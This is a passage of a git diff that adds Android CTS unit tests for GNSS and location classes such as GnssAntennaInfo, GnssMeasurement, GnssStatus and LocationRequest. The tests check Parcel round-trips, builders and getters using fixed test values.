+            {0.45, 6.27, 14.57, 8.95, 3.92, 12.68},
+            {6.80, 13.04, 7.92, 2.23, 14.22, 7.36},
+            {4.81, 11.78, 5.04, 5.13, 12.09, 12.85},
+            {0.88, 4.04, 5.71, 3.72, 12.62, 0.40},
+            {14.26, 9.50, 4.21, 11.14, 6.54, 14.63}
+    };
+    private static final double[][] SIGNAL_GAIN_CORRECTION_UNCERTAINTIES = new double[][]{
+            {4.74, 1.54, 1.59, 4.05, 1.65, 2.46},
+            {0.10, 0.33, 0.84, 0.83, 0.57, 2.66},
+            {2.08, 1.46, 2.10, 3.25, 1.48, 0.65},
+            {4.02, 2.90, 2.51, 2.13, 1.67, 1.23},
+            {2.13, 4.30, 1.36, 3.86, 1.02, 2.96},
+            {3.22, 3.95, 3.75, 1.73, 1.91, 4.93}
+
+    };
+
+    @Test
+    public void testFullAntennaInfoDescribeContents() {
+        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
+        assertEquals(0, gnssAntennaInfo.describeContents());
+    }
+
+    @Test
+    public void testPartialAntennaInfoDescribeContents() {
+        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
+        assertEquals(0, gnssAntennaInfo.describeContents());
+    }
+
+    @Test
+    public void testFullAntennaInfoWriteToParcel() {
+        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
+        Parcel parcel = Parcel.obtain();
+        gnssAntennaInfo.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssAntennaInfo newGnssAntennaInfo = GnssAntennaInfo.CREATOR.createFromParcel(parcel);
+        verifyFullGnssAntennaInfoValuesAndGetters(newGnssAntennaInfo);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testPartialAntennaInfoWriteToParcel() {
+        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
+        Parcel parcel = Parcel.obtain();
+        gnssAntennaInfo.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssAntennaInfo newGnssAntennaInfo = GnssAntennaInfo.CREATOR.createFromParcel(parcel);
+        verifyPartialGnssAntennaInfoValuesAndGetters(newGnssAntennaInfo);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testCreateFullGnssAntennaInfoAndGetValues() {
+        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
+        verifyFullGnssAntennaInfoValuesAndGetters(gnssAntennaInfo);
+    }
+
+    @Test
+    public void testCreatePartialGnssAntennaInfoAndGetValues() {
+        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
+        verifyPartialGnssAntennaInfoValuesAndGetters(gnssAntennaInfo);
+    }
+
+    private static GnssAntennaInfo createFullTestGnssAntennaInfo() {
+        double carrierFrequencyMHz = 13758.0;
+
+        GnssAntennaInfo.PhaseCenterOffset phaseCenterOffset = new
+                GnssAntennaInfo.PhaseCenterOffset(
+                        4.3d,
+                    1.4d,
+                    2.10d,
+                    2.1d,
+                    3.12d,
+                    0.5d);
+
+        double[][] phaseCenterVariationCorrectionsMillimeters = PHASE_CENTER_VARIATION_CORRECTIONS;
+        double[][] phaseCenterVariationCorrectionsUncertaintyMillimeters =
+                PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES;
+        SphericalCorrections
+                phaseCenterVariationCorrections =
+                new SphericalCorrections(
+                        phaseCenterVariationCorrectionsMillimeters,
+                        phaseCenterVariationCorrectionsUncertaintyMillimeters);
+
+        double[][] signalGainCorrectionsDbi = SIGNAL_GAIN_CORRECTIONS;
+        double[][] signalGainCorrectionsUncertaintyDbi = SIGNAL_GAIN_CORRECTION_UNCERTAINTIES;
+        SphericalCorrections signalGainCorrections = new
+                SphericalCorrections(
+                signalGainCorrectionsDbi,
+                signalGainCorrectionsUncertaintyDbi);
+
+        return new GnssAntennaInfo.Builder()
+                .setCarrierFrequencyMHz(carrierFrequencyMHz)
+                .setPhaseCenterOffset(phaseCenterOffset)
+                .setPhaseCenterVariationCorrections(phaseCenterVariationCorrections)
+                .setSignalGainCorrections(signalGainCorrections)
+                .build();
+    }
+
+    private static GnssAntennaInfo createPartialTestGnssAntennaInfo() {
+        double carrierFrequencyMHz = 13758.0;
+
+        GnssAntennaInfo.PhaseCenterOffset phaseCenterOffset = new
+                GnssAntennaInfo.PhaseCenterOffset(
+                4.3d,
+                1.4d,
+                2.10d,
+                2.1d,
+                3.12d,
+                0.5d);
+
+        return new GnssAntennaInfo.Builder()
+                .setCarrierFrequencyMHz(carrierFrequencyMHz)
+                .setPhaseCenterOffset(phaseCenterOffset)
+                .build();
+    }
+
+    private static void verifyPartialGnssAntennaInfoValuesAndGetters(GnssAntennaInfo gnssAntennaInfo) {
+        assertEquals(13758.0d, gnssAntennaInfo.getCarrierFrequencyMHz(), PRECISION);
+
+        // Phase Center Offset Tests --------------------------------------------------------
+        PhaseCenterOffset phaseCenterOffset =
+                gnssAntennaInfo.getPhaseCenterOffset();
+        assertEquals(4.3d, phaseCenterOffset.getXOffsetMm(),
+                PRECISION);
+        assertEquals(1.4d, phaseCenterOffset.getXOffsetUncertaintyMm(),
+                PRECISION);
+        assertEquals(2.10d, phaseCenterOffset.getYOffsetMm(),
+                PRECISION);
+        assertEquals(2.1d, phaseCenterOffset.getYOffsetUncertaintyMm(),
+                PRECISION);
+        assertEquals(3.12d, phaseCenterOffset.getZOffsetMm(),
+                PRECISION);
+        assertEquals(0.5d, phaseCenterOffset.getZOffsetUncertaintyMm(),
+                PRECISION);
+
+        // Phase Center Variation Corrections Tests -----------------------------------------
+        assertNull(gnssAntennaInfo.getPhaseCenterVariationCorrections());
+
+        // Signal Gain Corrections Tests -----------------------------------------------------
+        assertNull(gnssAntennaInfo.getSignalGainCorrections());
+    }
+
+    private static void verifyFullGnssAntennaInfoValuesAndGetters(GnssAntennaInfo gnssAntennaInfo) {
+        assertEquals(13758.0d, gnssAntennaInfo.getCarrierFrequencyMHz(), PRECISION);
+
+        // Phase Center Offset Tests --------------------------------------------------------
+        PhaseCenterOffset phaseCenterOffset =
+                gnssAntennaInfo.getPhaseCenterOffset();
+        assertEquals(4.3d, phaseCenterOffset.getXOffsetMm(),
+                PRECISION);
+        assertEquals(1.4d, phaseCenterOffset.getXOffsetUncertaintyMm(),
+                PRECISION);
+        assertEquals(2.10d, phaseCenterOffset.getYOffsetMm(),
+                PRECISION);
+        assertEquals(2.1d, phaseCenterOffset.getYOffsetUncertaintyMm(),
+                PRECISION);
+        assertEquals(3.12d, phaseCenterOffset.getZOffsetMm(),
+                PRECISION);
+        assertEquals(0.5d, phaseCenterOffset.getZOffsetUncertaintyMm(),
+                PRECISION);
+
+        // Phase Center Variation Corrections Tests -----------------------------------------
+        SphericalCorrections phaseCenterVariationCorrections =
+                gnssAntennaInfo.getPhaseCenterVariationCorrections();
+
+        assertEquals(60.0d, phaseCenterVariationCorrections.getDeltaTheta(), PRECISION);
+        assertEquals(36.0d, phaseCenterVariationCorrections.getDeltaPhi(), PRECISION);
+        assertArrayEquals(PHASE_CENTER_VARIATION_CORRECTIONS, phaseCenterVariationCorrections
+                .getCorrectionsArray());
+        assertArrayEquals(PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES,
+                phaseCenterVariationCorrections.getCorrectionUncertaintiesArray());
+
+        // Signal Gain Corrections Tests -----------------------------------------------------
+        SphericalCorrections signalGainCorrections = gnssAntennaInfo.getSignalGainCorrections();
+
+        assertEquals(60.0d, signalGainCorrections.getDeltaTheta(), PRECISION);
+        assertEquals(36.0d, signalGainCorrections.getDeltaPhi(), PRECISION);
+        assertArrayEquals(SIGNAL_GAIN_CORRECTIONS, signalGainCorrections
+                .getCorrectionsArray());
+        assertArrayEquals(SIGNAL_GAIN_CORRECTION_UNCERTAINTIES,
+                signalGainCorrections.getCorrectionUncertaintiesArray());
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java
new file mode 100644
index 0000000..feb44d8
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java
@@ -0,0 +1,63 @@
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.location.GnssMeasurementRequest;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssMeasurementRequest} class. This includes writing
+ * and reading from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementRequestTest {
+
+    private GnssMeasurementRequest getTestGnssMeasurementRequest(boolean fullTracking) {
+        GnssMeasurementRequest.Builder builder = new GnssMeasurementRequest.Builder();
+        builder.setFullTracking(fullTracking);
+        return builder.build();
+    }
+
+    @Test
+    public void testGetValues() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        assertTrue(request1.isFullTracking());
+        GnssMeasurementRequest request2 = getTestGnssMeasurementRequest(false);
+        assertFalse(request2.isFullTracking());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+        assertEquals(request.describeContents(), 0);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+
+        Parcel parcel = Parcel.obtain();
+        request.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurementRequest fromParcel = GnssMeasurementRequest.CREATOR.createFromParcel(parcel);
+
+        assertEquals(request, fromParcel);
+    }
+
+    @Test
+    public void testEquals() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        GnssMeasurementRequest request2 = new GnssMeasurementRequest.Builder(request1).build();
+        GnssMeasurementRequest request3 = getTestGnssMeasurementRequest(false);
+        assertEquals(request1, request2);
+        assertNotEquals(request3, request2);
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssMeasurementTest.java b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementTest.java
new file mode 100644
index 0000000..e90e697
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementTest.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.location.GnssMeasurement;
+import android.location.GnssStatus;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementTest {
+
+    private static final double DELTA = 0.001;
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        assertEquals(0, measurement.describeContents());
+    }
+
+    @Test
+    public void testReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        measurement.reset();
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        Parcel parcel = Parcel.obtain();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
+        verifyTestValues(newMeasurement);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testSet() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        GnssMeasurement newMeasurement = new GnssMeasurement();
+        newMeasurement.set(measurement);
+        verifyTestValues(newMeasurement);
+    }
+
+    @Test
+    public void testSetReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+
+        assertTrue(measurement.hasCarrierCycles());
+        measurement.resetCarrierCycles();
+        assertFalse(measurement.hasCarrierCycles());
+
+        assertTrue(measurement.hasCarrierFrequencyHz());
+        measurement.resetCarrierFrequencyHz();
+        assertFalse(measurement.hasCarrierFrequencyHz());
+
+        assertTrue(measurement.hasCarrierPhase());
+        measurement.resetCarrierPhase();
+        assertFalse(measurement.hasCarrierPhase());
+
+        assertTrue(measurement.hasCarrierPhaseUncertainty());
+        measurement.resetCarrierPhaseUncertainty();
+        assertFalse(measurement.hasCarrierPhaseUncertainty());
+
+        assertTrue(measurement.hasSnrInDb());
+        measurement.resetSnrInDb();
+        assertFalse(measurement.hasSnrInDb());
+
+        assertTrue(measurement.hasCodeType());
+        measurement.resetCodeType();
+        assertFalse(measurement.hasCodeType());
+
+        assertTrue(measurement.hasBasebandCn0DbHz());
+        measurement.resetBasebandCn0DbHz();
+        assertFalse(measurement.hasBasebandCn0DbHz());
+
+        assertTrue(measurement.hasFullInterSignalBiasNanos());
+        measurement.resetFullInterSignalBiasNanos();
+        assertFalse(measurement.hasFullInterSignalBiasNanos());
+
+        assertTrue(measurement.hasFullInterSignalBiasUncertaintyNanos());
+        measurement.resetFullInterSignalBiasUncertaintyNanos();
+        assertFalse(measurement.hasFullInterSignalBiasUncertaintyNanos());
+
+        assertTrue(measurement.hasSatelliteInterSignalBiasNanos());
+        measurement.resetSatelliteInterSignalBiasNanos();
+        assertFalse(measurement.hasSatelliteInterSignalBiasNanos());
+
+        assertTrue(measurement.hasSatelliteInterSignalBiasUncertaintyNanos());
+        measurement.resetSatelliteInterSignalBiasUncertaintyNanos();
+        assertFalse(measurement.hasSatelliteInterSignalBiasUncertaintyNanos());
+    }
+
+    private static void setTestValues(GnssMeasurement measurement) {
+        measurement.setAccumulatedDeltaRangeMeters(1.0);
+        measurement.setAccumulatedDeltaRangeState(2);
+        measurement.setAccumulatedDeltaRangeUncertaintyMeters(3.0);
+        measurement.setBasebandCn0DbHz(3.0);
+        measurement.setCarrierCycles(4);
+        measurement.setCarrierFrequencyHz(5.0f);
+        measurement.setCarrierPhase(6.0);
+        measurement.setCarrierPhaseUncertainty(7.0);
+        measurement.setCn0DbHz(8.0);
+        measurement.setCodeType("C");
+        measurement.setConstellationType(GnssStatus.CONSTELLATION_GALILEO);
+        measurement.setMultipathIndicator(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED);
+        measurement.setPseudorangeRateMetersPerSecond(9.0);
+        measurement.setPseudorangeRateUncertaintyMetersPerSecond(10.0);
+        measurement.setReceivedSvTimeNanos(11);
+        measurement.setReceivedSvTimeUncertaintyNanos(12);
+        measurement.setFullInterSignalBiasNanos(1.3);
+        measurement.setFullInterSignalBiasUncertaintyNanos(2.5);
+        measurement.setSatelliteInterSignalBiasNanos(5.4);
+        measurement.setSatelliteInterSignalBiasUncertaintyNanos(10.0);
+        measurement.setSnrInDb(13.0);
+        measurement.setState(14);
+        measurement.setSvid(15);
+        measurement.setTimeOffsetNanos(16.0);
+    }
+
+    private static void verifyTestValues(GnssMeasurement measurement) {
+        assertEquals(1.0, measurement.getAccumulatedDeltaRangeMeters(), DELTA);
+        assertEquals(2, measurement.getAccumulatedDeltaRangeState());
+        assertEquals(3.0, measurement.getAccumulatedDeltaRangeUncertaintyMeters(), DELTA);
+        assertEquals(3.0, measurement.getBasebandCn0DbHz(), DELTA);
+        assertEquals(4, measurement.getCarrierCycles());
+        assertEquals(5.0f, measurement.getCarrierFrequencyHz(), DELTA);
+        assertEquals(6.0, measurement.getCarrierPhase(), DELTA);
+        assertEquals(7.0, measurement.getCarrierPhaseUncertainty(), DELTA);
+        assertEquals(8.0, measurement.getCn0DbHz(), DELTA);
+        assertEquals(GnssStatus.CONSTELLATION_GALILEO, measurement.getConstellationType());
+        assertEquals(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED,
+                measurement.getMultipathIndicator());
+        assertEquals("C", measurement.getCodeType());
+        assertEquals(9.0, measurement.getPseudorangeRateMetersPerSecond(), DELTA);
+        assertEquals(10.0, measurement.getPseudorangeRateUncertaintyMetersPerSecond(), DELTA);
+        assertEquals(11, measurement.getReceivedSvTimeNanos());
+        assertEquals(12, measurement.getReceivedSvTimeUncertaintyNanos());
+        assertEquals(1.3, measurement.getFullInterSignalBiasNanos(), DELTA);
+        assertEquals(2.5, measurement.getFullInterSignalBiasUncertaintyNanos(), DELTA);
+        assertEquals(5.4, measurement.getSatelliteInterSignalBiasNanos(), DELTA);
+        assertEquals(10.0, measurement.getSatelliteInterSignalBiasUncertaintyNanos(), DELTA);
+        assertEquals(13.0, measurement.getSnrInDb(), DELTA);
+        assertEquals(14, measurement.getState());
+        assertEquals(15, measurement.getSvid());
+        assertEquals(16.0, measurement.getTimeOffsetNanos(), DELTA);
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssMeasurementsEventTest.java b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementsEventTest.java
new file mode 100644
index 0000000..dc1c56f
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementsEventTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collection;
+import java.util.Iterator;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementsEventTest {
+
+    @Test
+    public void testDescribeContents() {
+        GnssClock clock = new GnssClock();
+        GnssMeasurement m1 = new GnssMeasurement();
+        GnssMeasurement m2 = new GnssMeasurement();
+        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
+                clock, new GnssMeasurement[] {m1, m2});
+        assertEquals(0, event.describeContents());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssClock clock = new GnssClock();
+        clock.setLeapSecond(100);
+        GnssMeasurement m1 = new GnssMeasurement();
+        m1.setConstellationType(GnssStatus.CONSTELLATION_GLONASS);
+        GnssMeasurement m2 = new GnssMeasurement();
+        m2.setReceivedSvTimeNanos(43999);
+        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
+                clock, new GnssMeasurement[] {m1, m2});
+        Parcel parcel = Parcel.obtain();
+        event.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurementsEvent newEvent = GnssMeasurementsEvent.CREATOR.createFromParcel(parcel);
+        assertEquals(100, newEvent.getClock().getLeapSecond());
+        Collection<GnssMeasurement> measurements = newEvent.getMeasurements();
+        assertEquals(2, measurements.size());
+        Iterator<GnssMeasurement> iterator = measurements.iterator();
+        GnssMeasurement newM1 = iterator.next();
+        assertEquals(GnssStatus.CONSTELLATION_GLONASS, newM1.getConstellationType());
+        GnssMeasurement newM2 = iterator.next();
+        assertEquals(43999, newM2.getReceivedSvTimeNanos());
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssStatusTest.java b/tests/location/location_none/src/android/location/cts/none/GnssStatusTest.java
new file mode 100644
index 0000000..24fb513
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssStatusTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+
+import android.location.GnssStatus;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssStatusTest {
+
+    private static final float DELTA = 1e-3f;
+
+    @Test
+    public void testGetValues() {
+        GnssStatus gnssStatus = getTestGnssStatus();
+        verifyTestValues(gnssStatus);
+    }
+
+    @Test
+    public void testBuilder_ClearSatellites() {
+        GnssStatus.Builder builder = new GnssStatus.Builder();
+        builder.addSatellite(GnssStatus.CONSTELLATION_GPS,
+                /* svid= */ 13,
+                /* cn0DbHz= */ 25.5f,
+                /* elevation= */ 2.0f,
+                /* azimuth= */ 255.1f,
+                /* hasEphemeris= */ true,
+                /* hasAlmanac= */ false,
+                /* usedInFix= */ true,
+                /* hasCarrierFrequency= */ true,
+                /* carrierFrequency= */ 1575420000f,
+                /* hasBasebandCn0DbHz= */ true,
+                /* basebandCn0DbHz= */ 20.5f);
+        builder.clearSatellites();
+
+        GnssStatus status = builder.build();
+        assertEquals(0, status.getSatelliteCount());
+    }
+
+    @Test
+    public void testRoundtrip() {
+        GnssStatus gnssStatus = getTestGnssStatus();
+
+        Parcel parcel = Parcel.obtain();
+        gnssStatus.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        GnssStatus fromParcel = GnssStatus.CREATOR.createFromParcel(parcel);
+        assertEquals(gnssStatus, fromParcel);
+    }
+
+    private static GnssStatus getTestGnssStatus() {
+        GnssStatus.Builder builder = new GnssStatus.Builder();
+        builder.addSatellite(GnssStatus.CONSTELLATION_GPS,
+                /* svid= */ 13,
+                /* cn0DbHz= */ 25.5f,
+                /* elevation= */ 2.0f,
+                /* azimuth= */ 255.1f,
+                /* hasEphemeris= */ true,
+                /* hasAlmanac= */ false,
+                /* usedInFix= */ true,
+                /* hasCarrierFrequency= */ true,
+                /* carrierFrequency= */ 1575420000f,
+                /* hasBasebandCn0DbHz= */ true,
+                /* basebandCn0DbHz= */ 20.5f);
+
+        builder.addSatellite(GnssStatus.CONSTELLATION_GLONASS,
+                /* svid= */ 9,
+                /* cn0DbHz= */ 31.0f,
+                /* elevation= */ 1.0f,
+                /* azimuth= */ 193.8f,
+                /* hasEphemeris= */ false,
+                /* hasAlmanac= */ true,
+                /* usedInFix= */ false,
+                /* hasCarrierFrequency= */ false,
+                /* carrierFrequency= */ Float.NaN,
+                /* hasBasebandCn0DbHz= */ true,
+                /* basebandCn0DbHz= */ 26.9f);
+
+        return builder.build();
+    }
+
+    private static void verifyTestValues(GnssStatus gnssStatus) {
+        assertEquals(2, gnssStatus.getSatelliteCount());
+        assertEquals(GnssStatus.CONSTELLATION_GPS, gnssStatus.getConstellationType(0));
+        assertEquals(GnssStatus.CONSTELLATION_GLONASS, gnssStatus.getConstellationType(1));
+
+        assertEquals(13, gnssStatus.getSvid(0));
+        assertEquals(9, gnssStatus.getSvid(1));
+
+        assertEquals(25.5f, gnssStatus.getCn0DbHz(0), DELTA);
+        assertEquals(31.0f, gnssStatus.getCn0DbHz(1), DELTA);
+
+        assertEquals(2.0f, gnssStatus.getElevationDegrees(0), DELTA);
+        assertEquals(1.0f, gnssStatus.getElevationDegrees(1), DELTA);
+
+        assertEquals(255.1f, gnssStatus.getAzimuthDegrees(0), DELTA);
+        assertEquals(193.8f, gnssStatus.getAzimuthDegrees(1), DELTA);
+
+        assertEquals(true, gnssStatus.hasEphemerisData(0));
+        assertEquals(false, gnssStatus.hasEphemerisData(1));
+
+        assertEquals(false, gnssStatus.hasAlmanacData(0));
+        assertEquals(true, gnssStatus.hasAlmanacData(1));
+
+        assertEquals(true, gnssStatus.usedInFix(0));
+        assertEquals(false, gnssStatus.usedInFix(1));
+
+        assertEquals(true, gnssStatus.hasCarrierFrequencyHz(0));
+        assertEquals(false, gnssStatus.hasCarrierFrequencyHz(1));
+
+        assertEquals(1575420000f, gnssStatus.getCarrierFrequencyHz(0), DELTA);
+
+        assertEquals(true, gnssStatus.hasBasebandCn0DbHz(0));
+        assertEquals(true, gnssStatus.hasBasebandCn0DbHz(1));
+
+        assertEquals(20.5f, gnssStatus.getBasebandCn0DbHz(0), DELTA);
+        assertEquals(26.9f, gnssStatus.getBasebandCn0DbHz(1), DELTA);
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/LocationRequestTest.java b/tests/location/location_none/src/android/location/cts/none/LocationRequestTest.java
new file mode 100644
index 0000000..06c1862
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/LocationRequestTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.location.LocationRequest;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationRequestTest {
+
+    @Test
+    public void testBuild_Defaults() {
+        LocationRequest request = new LocationRequest.Builder(0).build();
+        assertThat(request.getIntervalMillis()).isEqualTo(0);
+        assertThat(request.getQuality()).isEqualTo(LocationRequest.QUALITY_BALANCED_POWER_ACCURACY);
+        assertThat(request.getMinUpdateIntervalMillis()).isEqualTo(0);
+        assertThat(request.getDurationMillis()).isEqualTo(Long.MAX_VALUE);
+        assertThat(request.getMaxUpdates()).isEqualTo(Integer.MAX_VALUE);
+        assertThat(request.getMinUpdateDistanceMeters()).isEqualTo(0f);
+        assertThat(request.isHiddenFromAppOps()).isEqualTo(false);
+        assertThat(request.isLocationSettingsIgnored()).isEqualTo(false);
+        assertThat(request.isLowPower()).isEqualTo(false);
+    }
+
+    @Test
+    public void testBuild_Explicit() {
+        LocationRequest request = new LocationRequest.Builder(5000)
+                .setQuality(LocationRequest.QUALITY_HIGH_ACCURACY)
+                .setMinUpdateIntervalMillis(4000)
+                .setDurationMillis(6000)
+                .setMaxUpdates(7000)
+                .setMinUpdateDistanceMeters(8000f)
+                .setHiddenFromAppOps(true)
+                .setLocationSettingsIgnored(true)
+                .setLowPower(true)
+                .build();
+        assertThat(request.getIntervalMillis()).isEqualTo(5000);
+        assertThat(request.getQuality()).isEqualTo(LocationRequest.QUALITY_HIGH_ACCURACY);
+        assertThat(request.getMinUpdateIntervalMillis()).isEqualTo(4000);
+        assertThat(request.getDurationMillis()).isEqualTo(6000);
+        assertThat(request.getMaxUpdates()).isEqualTo(7000);
+        assertThat(request.getMinUpdateDistanceMeters()).isEqualTo(8000f);
+        assertThat(request.isHiddenFromAppOps()).isEqualTo(true);
+        assertThat(request.isLocationSettingsIgnored()).isEqualTo(true);
+        assertThat(request.isLowPower()).isEqualTo(true);
+    }
+
+    @Test
+    public void testBuild_Copy() {
+        LocationRequest original = new LocationRequest.Builder(5000)
+                .setQuality(LocationRequest.QUALITY_HIGH_ACCURACY)
+                .setMinUpdateIntervalMillis(4000)
+                .setDurationMillis(6000)
+                .setMaxUpdates(7000)
+                .setMinUpdateDistanceMeters(8000f)
+                .setHiddenFromAppOps(true)
+                .setLocationSettingsIgnored(true)
+                .setLowPower(true)
+                .build();
+        LocationRequest copy = new LocationRequest.Builder(original).build();
+        assertThat(copy.getIntervalMillis()).isEqualTo(5000);
+        assertThat(copy.getQuality()).isEqualTo(LocationRequest.QUALITY_HIGH_ACCURACY);
+        assertThat(copy.getMinUpdateIntervalMillis()).isEqualTo(4000);
+        assertThat(copy.getDurationMillis()).isEqualTo(6000);
+        assertThat(copy.getMaxUpdates()).isEqualTo(7000);
+        assertThat(copy.getMinUpdateDistanceMeters()).isEqualTo(8000f);
+        assertThat(copy.isHiddenFromAppOps()).isEqualTo(true);
+        assertThat(copy.isLocationSettingsIgnored()).isEqualTo(true);
+        assertThat(copy.isLowPower()).isEqualTo(true);
+        assertThat(copy).isEqualTo(original);
+    }
+
+    @Test
+    public void testBuild_ImplicitMinUpdateInterval() {
+        LocationRequest.Builder builder = new LocationRequest.Builder(5000);
+        assertThat(builder.build().getMinUpdateIntervalMillis()).isEqualTo(5000);
+
+        builder.setIntervalMillis(6000);
+        assertThat(builder.build().getMinUpdateIntervalMillis()).isEqualTo(6000);
+    }
+
+    @Test
+    public void testBuild_ClearMinUpdateInterval() {
+        LocationRequest request = new LocationRequest.Builder(5000)
+                .setMinUpdateIntervalMillis(4000)
+                .clearMinUpdateIntervalMillis()
+                .build();
